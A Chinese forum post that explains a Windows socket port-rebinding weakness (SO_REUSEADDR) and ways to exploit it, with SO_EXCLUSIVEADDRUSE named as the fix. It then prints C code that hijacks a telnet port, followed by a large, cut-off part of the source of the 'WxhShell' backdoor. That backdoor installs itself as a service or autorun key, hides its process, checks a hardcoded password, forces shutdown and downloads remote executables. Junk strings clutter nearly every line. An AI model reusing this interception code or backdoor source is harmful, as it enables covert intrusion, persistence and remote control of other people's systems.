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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L\y,7@1%AT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zn #ri 8S  
z56W5g2  
  saddr.sin_family = AF_INET; 4vBZb^W;9  
2c8,H29  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1K^/@^  
_a15R/S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T{sw{E*  
Cd|V<BB9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t4h05i  
BR5$;-7W  
  这意味着什么?意味着可以进行如下的攻击: @f*/V e0.  
']Y:f)i#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \vFkhm  
js8uvZ i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {_^sR}%]F  
:l3Tt<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _6=6 b!hD  
.%WbXs  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x0Tb7y`  
0qJ(3N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Pb]s+1  
;K$E;ZhPN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]0m4esK`  
VCbnS191*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OWOj|jM  
G;fP  
  #include apGf@b  
  #include &)xoR4!2  
  #include bmt2~!  
  #include    c?<FMb3]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ##k== 'dR  
  int main() N<N!it  
  { r<&d1fM;X  
  WORD wVersionRequested; dBobVT'  
  DWORD ret; ;zSh9H  
  WSADATA wsaData; w? !@fu  
  BOOL val; *QjFrw3  
  SOCKADDR_IN saddr; )JuD !  
  SOCKADDR_IN scaddr; o5Pq>Y2T  
  int err; O^U{I?gQ  
  SOCKET s; wk8XD(&  
  SOCKET sc; T!v%NZj3  
  int caddsize; \P{VJ^) 0  
  HANDLE mt; 3TtnLay.k  
  DWORD tid;   H~||]_q|  
  wVersionRequested = MAKEWORD( 2, 2 ); [0MVsc=  
  err = WSAStartup( wVersionRequested, &wsaData ); *QAK9mc  
  if ( err != 0 ) { Z[0xqGYLB  
  printf("error!WSAStartup failed!\n"); Qs;bVlp!H  
  return -1; !Otyu6&  
  } #[I`VA\x  
  saddr.sin_family = AF_INET; n/^wzG  
   -I4@` V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @BW~A@8  
Y#?Sqm(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r%_)7Wk*  
  saddr.sin_port = htons(23); ZZl)p\r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eT}c_h)  
  { JRU)AMMU&  
  printf("error!socket failed!\n"); tOp>O oD  
  return -1; <5C3c&sds  
  } 4\Q ?4ZX  
  val = TRUE; 6PvV X*5T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A5?[j QT0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nW{7L  
  { Zf?>:P  
  printf("error!setsockopt failed!\n"); Mg^GN -l  
  return -1; dk{yx(Ty  
  } sbkWJy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `+]4C+w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g%RL9-z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wCn W]<+  
HRPTP+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e:!&y\'"9  
  { ;uDH&3W  
  ret=GetLastError(); U.?,vw'aai  
  printf("error!bind failed!\n"); 7M^!t X  
  return -1; ;wTl#\|w0  
  } 9{xP~0g  
  listen(s,2); |910xd`Z  
  while(1) %4+r&  
  { C4Bh#C  
  caddsize = sizeof(scaddr); {!'AR`|  
  //接受连接请求 QXgh[9w G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =$Xdn'  
  if(sc!=INVALID_SOCKET) $Wb"X=}tl  
  { cq@8!Eu w]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .xCO_7Rd  
  if(mt==NULL) mpXc o *!_  
  { &m+s5  
  printf("Thread Creat Failed!\n"); SaQ_%-&#p  
  break; $S=lm {  
  } ]#R;%L  
  }  SvDVxK  
  CloseHandle(mt); Wx;9N  
  }  ] |~],\  
  closesocket(s); (K^9$w]tf  
  WSACleanup(); -4;{QB?  
  return 0; BE}lzn=sF  
  }   @ZD1HA,h"  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8cR4@Hqx  
  { ykX}T6T  
  SOCKET ss = (SOCKET)lpParam; M,q'   
  SOCKET sc; }_gCWz-5?  
  unsigned char buf[4096]; & UL(r  
  SOCKADDR_IN saddr; _%z)Y=Q  
  long num; _@jl9<t=_  
  DWORD val; 8$xg\l0?KK  
  DWORD ret; u|O5ZV-cd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5NBc8h7 V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D8BK/E-  
  saddr.sin_family = AF_INET; KzI$GU3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &Q(Q/]U~  
  saddr.sin_port = htons(23); @j5W4HU  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tezsoR!.ak  
  { 7PHvsd"]p  
  printf("error!socket failed!\n"); VO#]IXaP  
  return -1; YDC[s ^d5  
  } li%=<?%T  
  val = 100; c i_XcG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L ?4c8!Q  
  { &6r".\; ^  
  ret = GetLastError(); $zyY"yWRZ  
  return -1; #CHsH{d  
  } qW $IpuK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Xl/|YD  
  { z#8GF^U:T  
  ret = GetLastError(); ^HX={(ddK  
  return -1; 2 os&d|  
  } QYyF6ht=!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ) ?+-Z2BwA  
  { W^60BZ  
  printf("error!socket connect failed!\n"); 9%> H}7=  
  closesocket(sc); gO gZ  
  closesocket(ss); #O\4XZ,Lv  
  return -1; 3yZtyXRPn  
  } v9u/<w68!  
  while(1) 4US8B=jk  
  { "Yq-s$yBi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 = 14'R4:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }\OLBg/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o8H<{D13  
  num = recv(ss,buf,4096,0);  ORp6  
  if(num>0) D0~WK stl  
  send(sc,buf,num,0); fn&gM\<-+(  
  else if(num==0) NnGQ=$e  
  break; J<>z}L{  
  num = recv(sc,buf,4096,0); `m`jX|`  
  if(num>0) 0F0V JE  
  send(ss,buf,num,0); JrOp-ug  
  else if(num==0) V[rNJf1z  
  break; D2[uex  
  } N@58R9P<p  
  closesocket(ss); aVO5zR./)  
  closesocket(sc); rcF;Lp :  
  return 0 ; ` {k>I^Pg  
  } ^qIp+[/'  
%0Ulh6g;Dt  
V7[Dvg:W  
========================================================== HJ !)D~M{  
&z 1A-O v  
下边附上一个代码,,WXhSHELL ~i fq_Ag.  
ryW1OV6?_0  
========================================================== OMvwmm  
7$8z}2  
#include "stdafx.h" T9*\I TA  
|pqLwnOu  
#include <stdio.h> NQ'^ z  
#include <string.h> `[jQn;  
#include <windows.h> e\%QHoi>u  
#include <winsock2.h> !jU<(eY  
#include <winsvc.h> 23_<u]V  
#include <urlmon.h> &Sa<&2W4S  
ig")bt3s5  
#pragma comment (lib, "Ws2_32.lib") 8v*>~E/0  
#pragma comment (lib, "urlmon.lib") lqF{Y<l  
}2:bYpYQ  
#define MAX_USER   100 // 最大客户端连接数 f0IljY!.  
#define BUF_SOCK   200 // sock buffer Jk}L+X vv  
#define KEY_BUFF   255 // 输入 buffer wf=#w}f  
l0U6eOx  
#define REBOOT     0   // 重启 #h6(DuViKw  
#define SHUTDOWN   1   // 关机 L`R,4mI.W  
ngsax1xO  
#define DEF_PORT   5000 // 监听端口 zv@'x nY]  
xp)#a_}  
#define REG_LEN     16   // 注册表键长度 `y P-,lA$  
#define SVC_LEN     80   // NT服务名长度 R`76Ae`R8  
Dr6Br<yi  
// 从dll定义API 0Y)b319B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Te[[xhTyw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mIFS/C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KfG%#2\G_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }E*d)n|  
CV]PCq!  
// wxhshell配置信息 cuq7eMG6z  
struct WSCFG { ii2oWU  
  int ws_port;         // 监听端口 >h[tHM O  
  char ws_passstr[REG_LEN]; // 口令 |GdA0y\v*}  
  int ws_autoins;       // 安装标记, 1=yes 0=no &I'~:nWpt  
  char ws_regname[REG_LEN]; // 注册表键名 g~FB&U4c  
  char ws_svcname[REG_LEN]; // 服务名 C;dA?Es>R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u8+<uWB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z9w@-])  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wS``Q8K+dM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .7ahz8v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EOtrrfT&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zHb<YpU  
S~(4q#Dt-  
}; <e/O"6='Z  
k`oXo%  
// default Wxhshell configuration nz+o8L,  
struct WSCFG wscfg={DEF_PORT, Qi=rhN`  
    "xuhuanlingzhe", aI8wy-3I  
    1, `c:'il?  
    "Wxhshell", ngeX+@  
    "Wxhshell", /rv XCA)j  
            "WxhShell Service", ,J}lyvkd  
    "Wrsky Windows CmdShell Service", P2`ks[u+i  
    "Please Input Your Password: ", hXz"}X n  
  1, }[LK/@h  
  "http://www.wrsky.com/wxhshell.exe", }{K)5k@  
  "Wxhshell.exe" OQ+?nB  
    }; I=(O,*+PQ  
ik8e  
// 消息定义模块 zE<vFP-1v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :\4O9f*5+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ni~45WX3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; De>pIN;B>  
char *msg_ws_ext="\n\rExit."; (]7@0d88  
char *msg_ws_end="\n\rQuit."; e% 5!  
char *msg_ws_boot="\n\rReboot..."; {F@;45)o  
char *msg_ws_poff="\n\rShutdown..."; f{3FoN= z  
char *msg_ws_down="\n\rSave to "; QO#ZQ~  
@C z1rKU^l  
char *msg_ws_err="\n\rErr!"; i3e|j(Gs4  
char *msg_ws_ok="\n\rOK!"; l_,8_u7G  
6@l:(-(j2A  
char ExeFile[MAX_PATH]; ?7G[`@^Y  
int nUser = 0; c$e~O-OVD?  
HANDLE handles[MAX_USER]; b]|7{yMV  
int OsIsNt; 3J(STIxg  
kQ'G+Kw~F  
SERVICE_STATUS       serviceStatus; }DZkCzK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TzK?bbgr!  
NoKYHN^*w  
// 函数声明 C{2 UPG4x  
int Install(void); Q7}w Y  
int Uninstall(void); k?S-peyRO  
int DownloadFile(char *sURL, SOCKET wsh); u[dI81`  
int Boot(int flag); ?C $_?Qi  
void HideProc(void); E&[ox[g{  
int GetOsVer(void); 7,+:Q Y@  
int Wxhshell(SOCKET wsl); )L#I#%  
void TalkWithClient(void *cs); E* lqCh  
int CmdShell(SOCKET sock); 4cV(Z-\  
int StartFromService(void); ~&yaIuW<  
int StartWxhshell(LPSTR lpCmdLine); SnXYq 7`t  
w\@Anwj#L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $}\. )^[}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9]7^/g*!  
CV& SNA  
// 数据结构和表定义 Sk1yend4  
SERVICE_TABLE_ENTRY DispatchTable[] = RKBtwZx>f  
{ (TY^ kySr  
{wscfg.ws_svcname, NTServiceMain}, ](a<b@p  
{NULL, NULL} I`y}Ky<q  
}; FijzO  
] xH `  
// 自我安装 L^0jyp  
int Install(void) ?EpY4k8,  
{ 3ea6g5kX  
  char svExeFile[MAX_PATH]; |5FyfDaFBX  
  HKEY key; ^(6.M\Q  
  strcpy(svExeFile,ExeFile); ml3]CcKn  
H7\EvIM=  
// 如果是win9x系统,修改注册表设为自启动 ;ga~ae=Fg  
if(!OsIsNt) { Z+vLEEX*uQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4)"jg[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N*$Q(K  
  RegCloseKey(key); e{?~ m6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5q8bM.k\7N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BGA.8qWR4  
  RegCloseKey(key); )P,jpE8  
  return 0; )D#*Q~   
    } E8V,".!+E  
  } w-\GrxlbX  
} J@)6]d/,  
else { QGYmQ9m{kL  
Wm"W@LPx5  
// 如果是NT以上系统,安装为系统服务 Z-/ E$j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M<)HJ lr  
if (schSCManager!=0) H>W A?4  
{ p oNQ<ijK  
  SC_HANDLE schService = CreateService l$zM|Z1wR`  
  ( PVU(R J  
  schSCManager, {j^}"8GB  
  wscfg.ws_svcname, D&]SPhX  
  wscfg.ws_svcdisp, hZyz5aZ)K  
  SERVICE_ALL_ACCESS, 9cj:'KG)!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Hy~~Zh2  
  SERVICE_AUTO_START, p~M^' k=d  
  SERVICE_ERROR_NORMAL, S(rA96n  
  svExeFile, hsVWD,w  
  NULL, 3|@Ske1%Y  
  NULL, O-mP{  
  NULL, @=@WRPGM*9  
  NULL, Ao=.=0os  
  NULL &| ',o ?'F  
  ); #5'9T:8  
  if (schService!=0) sYp@.?Tz  
  { ya|7hz{  
  CloseServiceHandle(schService); e&wW lB![  
  CloseServiceHandle(schSCManager); v_oNM5w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Ok*O r  
  strcat(svExeFile,wscfg.ws_svcname); *xt3mv/<z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'GNT'y_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1'}~;?_  
  RegCloseKey(key); zs7K :OlkA  
  return 0; K72U0}$B  
    } nKV1F0-  
  } Rb\\6 BU0  
  CloseServiceHandle(schSCManager); (uRAK  
} {HQ?  
} NPKRX Li%  
U?H!:?,C  
return 1; _ea!psA0  
} +Pn+&o;D  
UB=I>  
// 自我卸载 ]JtK)9  
int Uninstall(void) :uqsRFo&4  
{ V~ZAs+(2Z  
  HKEY key; Bm.%bA>  
&|55:Y87  
if(!OsIsNt) { 5H>[@_u+:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #uFP eu:  
  RegDeleteValue(key,wscfg.ws_regname); rr2|xL?+u  
  RegCloseKey(key); /1g_Uv;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >Ei_##  
  RegDeleteValue(key,wscfg.ws_regname); RXLD5$s^  
  RegCloseKey(key); CYs:P8^  
  return 0; MSsboSxA  
  } ] S]F&B M|  
} 7pmhH%Dn$  
} vB KBMnSd  
else { ZOfyy E  
nIKh<ws4z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^P\(IDJCo  
if (schSCManager!=0) ?r#e  
{ jsc1B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BPe5c :z  
  if (schService!=0) h_Q9 c  
  { 0I& !a$:  
  if(DeleteService(schService)!=0) { {_l@ws  
  CloseServiceHandle(schService); Bo_Ivhe[m  
  CloseServiceHandle(schSCManager); 9>\s81^  
  return 0; b=`h""u  
  } xR\$2(  
  CloseServiceHandle(schService); 27G6C`}  
  } 0Ocy$  
  CloseServiceHandle(schSCManager); ErHbc 2  
} ;ukwKf s  
} 9:IVSD&"Rf  
GnkNoaU  
return 1; "\)j=MI8u+  
} &8z`]mB{t  
n<uF9N<   
// 从指定url下载文件 Hq3"OMGq  
int DownloadFile(char *sURL, SOCKET wsh) X^eTf-*T  
{ |Fm(  
  HRESULT hr; uI!rJc>TX  
char seps[]= "/"; PW~+=,  
char *token; V8 }yK$4b  
char *file; nB WVG  
char myURL[MAX_PATH]; "i(k8+i K  
char myFILE[MAX_PATH]; Bc`jkO.q  
z*"zXL C  
strcpy(myURL,sURL); uL\ B[<:  
  token=strtok(myURL,seps); r|:i: ii  
  while(token!=NULL) U;Y{=07a@  
  { ^#9 &Rk!t  
    file=token; a4Fe MCvV9  
  token=strtok(NULL,seps); S{7A3 x'B  
  } k$j>_U? P  
6DD"Asi+  
GetCurrentDirectory(MAX_PATH,myFILE); nM>oG'm[n  
strcat(myFILE, "\\"); :]v%6i.  
strcat(myFILE, file); sjvlnnO   
  send(wsh,myFILE,strlen(myFILE),0); NVAt-u0LB  
send(wsh,"...",3,0); @~qlSU&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n&jfJgD&g  
  if(hr==S_OK) *?VbN}g2  
return 0; q okgu$2  
else L Me{5H  
return 1; z}&?^YU*)`  
D4$;jz,,  
} 4siNY4i"  
rzsb(  
// 系统电源模块 $h"tg9L^)  
int Boot(int flag) ?~Fk_#jz,@  
{ 6-c3v  
  HANDLE hToken; :GBWQXb G  
  TOKEN_PRIVILEGES tkp; 3&^4%S{/  
[#.E=s+&  
  if(OsIsNt) { m-dyvW+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AK]{^Hvz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ) wtVFG  
    tkp.PrivilegeCount = 1; >7[. {Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : 9wW*Ix  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oi^2Pvauh  
if(flag==REBOOT) { 33z)F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^1sX22k  
  return 0; 4C\>JGZvq  
} }(4U7Ac  
else { ]h3<r8D_#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S='AA_jnw  
  return 0; Ne!F  p  
} mtSOygd  
  } ,u8)g; 8s  
  else { G1=GzAd$5  
if(flag==REBOOT) { $T.we+u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <csz4tL}P  
  return 0; |2z?8lx  
} mtu/kd'(  
else { {EE/3e@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (n_lu= E70  
  return 0; (LbAP9Zj#f  
} u.ubw(vv  
} YBqu7&  
uLX5khQ  
return 1; l=,\ h&  
} 2oyTS*2u_&  
kv{uf$X*ve  
// win9x进程隐藏模块 Y&!M#7/'J3  
void HideProc(void) ,7&`V=C  
{ |WqEJ*$,  
r2M Iw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (&HAjB  
  if ( hKernel != NULL ) pLjet~2}iJ  
  { ~47Bbom  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FKRO0%M4}Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #}*w &y  
    FreeLibrary(hKernel); |h$*z9bsf  
  } KE!aa&g  
3omFd#EP  
return; " uf*?m3  
} D!< [\ G  
[!H2i p-  
// 获取操作系统版本 o!!";q%DX  
int GetOsVer(void) *5?a% p  
{ RZ 4xR  
  OSVERSIONINFO winfo; {G$I|<MD2T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zO8`xrN!  
  GetVersionEx(&winfo); mO<sw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XJ,P8nx  
  return 1; H'7AIY }  
  else |W4 \  
  return 0; hqrI%%  
} C%_^0#8-0  
+EK(r@eV  
// 客户端句柄模块 5{/CqUIl  
int Wxhshell(SOCKET wsl) XHU&ix{Od  
{ *W aL}i(P1  
  SOCKET wsh; GO0Spf_Gh  
  struct sockaddr_in client; AT Dm$ *  
  DWORD myID; U  ?'$E\  
E`s9SE  
  while(nUser<MAX_USER) 3jR,lEJyj  
{ {,EOSta  
  int nSize=sizeof(client); oE@{h$=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tgoOzk^  
  if(wsh==INVALID_SOCKET) return 1; AE0d0Y~9  
' NCxVbyYD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yZk HBG4  
if(handles[nUser]==0) e[_W( v  
  closesocket(wsh); , Fo7E  
else $Lg% CY  
  nUser++; %{qJkjG  
  } NJK?5{H'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hpp>+=  
Xb +)@Y4h  
  return 0; b[p<kMTir  
} ;ELQIHnD"  
DwM4/m  
// 关闭 socket 6!P];3&o\A  
void CloseIt(SOCKET wsh) ^@f%A<  
{ v\7k  
closesocket(wsh); s 33< }O0  
nUser--; rK&ofc]f$  
ExitThread(0); $jMU| {  
} eBiP\  
l*]9   
// 客户端请求句柄 /LMb~Hy,  
void TalkWithClient(void *cs) k<W n  
{ ;4. D%  
<K4`GT"n  
  SOCKET wsh=(SOCKET)cs; rx`G* k{X  
  char pwd[SVC_LEN]; L-ans2?  
  char cmd[KEY_BUFF]; ]}z;!D>  
char chr[1]; :(tSL{FO  
int i,j; q)JG_Y.p  
K^z-G=|N  
  while (nUser < MAX_USER) { qT]Bl+h2  
iw1((&^)"  
if(wscfg.ws_passstr) { Yc;cf% c1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [XFZ2'OO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1o)Vzv  
  //ZeroMemory(pwd,KEY_BUFF); SR>Sq2cW0  
      i=0; .gUceXWH3  
  while(i<SVC_LEN) { e  iS~*@  
- bL 7M5  
  // 设置超时 bm1+|gssn  
  fd_set FdRead; cGSoAK  
  struct timeval TimeOut; +wd} '4)  
  FD_ZERO(&FdRead); ]:TX> X!  
  FD_SET(wsh,&FdRead); ),`MAevp  
  TimeOut.tv_sec=8; x h[4d  
  TimeOut.tv_usec=0; i(.c<e{v~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YbZ<=ZzO4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T=7V+  
wqDRFZ1*P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rhFa rm4a  
  pwd=chr[0]; a(CZGIB  
  if(chr[0]==0xd || chr[0]==0xa) { p '{ `Uvr  
  pwd=0; %8iA0t+  
  break; pJ7wd~wF*  
  } ]RHR>=;  
  i++; lh`inAt)"  
    } A(AyLxB47*  
n0:+D R  
  // 如果是非法用户,关闭 socket Zrfp4SlZZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \phG$4(7+  
} ll;#4~iA  
&8t?OpB =h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o:C:obiQbu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cn ,zUG!-h  
=DTn9}u  
while(1) { gOw|s1`2,  
~D@pk>I  
  ZeroMemory(cmd,KEY_BUFF); )CS 7>Vx  
V M[9!:  
      // 自动支持客户端 telnet标准   K8*QS_*  
  j=0; Z4'"*  
  while(j<KEY_BUFF) { uE:#m.Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R =HN>(U  
  cmd[j]=chr[0]; S |T:rc(~  
  if(chr[0]==0xa || chr[0]==0xd) { ?!(/;RU1  
  cmd[j]=0; W.p->,N  
  break; GV)#>PL  
  } e 1{t qNJ  
  j++; K/oPfD]  
    } 'T[=Uuj"  
q|2{W.P5qi  
  // 下载文件 ;}IF'ANA  
  if(strstr(cmd,"http://")) { ~Av]LW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SqY;2:  
  if(DownloadFile(cmd,wsh)) jM J[6qj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M0o=bYI  
  else Y%qhgzz?/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b0LjNO@<  
  } OB3AZH$  
  else { ><OdHRh@#  
Y">tfLIL_  
    switch(cmd[0]) { |w[}\#2  
  R@>R@V>c  
  // 帮助 [a;lYsOsJ  
  case '?': { )Y~q6D K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y<PPO6u7  
    break; d T/*O8  
  } qM@][]j:  
  // 安装 fT._Os?i  
  case 'i': { ,IuO;UV#)  
    if(Install()) YkPz ~;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y'/`?CK  
    else .^#{rk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` 2|~Z H  
    break; hX)r%v:  
    } =pWpHbB.  
  // 卸载 FVG|5'V^  
  case 'r': { 3leg,q d  
    if(Uninstall()) ^w2n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pb} &c  
    else `(;d+fof  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4';((OXy  
    break; pvy;L[c  
    } 23+6u{   
  // 显示 wxhshell 所在路径 mUr@w*kq|p  
  case 'p': { I>/`W  
    char svExeFile[MAX_PATH]; 3D\.S j%  
    strcpy(svExeFile,"\n\r"); ^'QcP5Fv  
      strcat(svExeFile,ExeFile); y5a^xRDw  
        send(wsh,svExeFile,strlen(svExeFile),0); EN.yU!N.4  
    break; lGG1d  
    } w,8 M  
  // 重启 ] >ipC,v  
  case 'b': { Djf2ir'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dG7sY O@U  
    if(Boot(REBOOT)) ~\<ZWU<BE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xx;'WL,g  
    else { 6z%3l7#7Yi  
    closesocket(wsh); %n}fkj'  
    ExitThread(0); { KwLcSn  
    } /7S]%UY  
    break;  +KFK..  
    } a-!"m  
